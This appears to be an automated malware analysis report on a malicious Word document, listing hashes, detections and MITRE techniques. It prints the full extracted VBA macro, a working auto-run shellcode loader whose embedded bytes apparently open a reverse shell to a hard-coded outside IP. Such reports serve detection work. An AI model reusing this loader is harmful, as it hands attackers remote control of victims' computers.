Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4167176830a292cf…

MALICIOUS

Office (OLE)

33.5 KB Created: 2017-10-27 09:41:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: d3badf2179b066f7b203780a38e15f38 SHA-1: f2d28ce77383285c010218f09a16a8b632539ef4 SHA-256: 4167176830a292cf4e29a870aefcaeb6efd96cb0b840ca0652461d0e3ae57511
206 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a Microsoft Word document that triggers a critical heuristic for CVE-2007-3899, a memory corruption vulnerability. The presence of VBA macros, including an AutoOpen macro, indicates that the document is designed to execute malicious code upon opening. The VBA script uses VirtualAlloc and CreateThread API calls, suggesting it attempts to allocate memory and execute a payload, likely leveraging the CVE exploit.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim Vlwblitzo As Long, Suilnpma As Variant, Ndfnjzlyq As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3412 bytes
SHA-256: 7c54625d06c6e60c434c16186d9012bbc9dd2200e7d2c15e1bf4febef2de3061
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Mllpdwoqp As Long, ByVal Nmuzfakx As Long, ByVal Lagpmpy As LongPtr, Chospppmp As Long, ByVal Vlnho As Long, Fgqyfe As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Fpnqevb As Long, ByVal Wajbt As Long, ByVal Dpaemul As Long, ByVal Wclczj As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Fitnkaklc As LongPtr, ByRef Ekq As Any, ByVal Kdksrjuis As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Mllpdwoqp As Long, ByVal Nmuzfakx As Long, ByVal Lagpmpy As Long, Chospppmp As Long, ByVal Vlnho As Long, Fgqyfe As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Fpnqevb As Long, ByVal Wajbt As Long, ByVal Dpaemul As Long, ByVal Wclczj As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Fitnkaklc As Long, ByRef Ekq As Any, ByVal Kdksrjuis As Long) As Long
#End If

Sub Auto_Open()
    Dim Vlwblitzo As Long, Suilnpma As Variant, Ndfnjzlyq As Long
#If VBA7 Then
    Dim Dnmcmo As LongPtr, Yehvdgw As LongPtr
#Else
    Dim Dnmcmo As Long, Yehvdgw As Long
#End If
    Suilnpma = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, 213, 184, 144, 1, 0, 0, 41, _
196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 185, 74, 43, 122, 104, 2, 0, 17, 92, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 97, 0, 0, 0, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, _
0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 34, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 233, 113, 255, 255, 255, 1, 195, 41, 198, 117, _
199, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Dnmcmo = VirtualAlloc(0, UBound(Suilnpma), &H1000, &H40)
    For Ndfnjzlyq = LBound(Suilnpma) To UBound(Suilnpma)
        Vlwblitzo = Suilnpma(Ndfnjzlyq)
        Yehvdgw = RtlMoveMemory(Dnmcmo + Ndfnjzlyq, Vlwblitzo, 1)
    Next Ndfnjzlyq
    Yehvdgw = CreateThread(0, 0, Dnmcmo, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub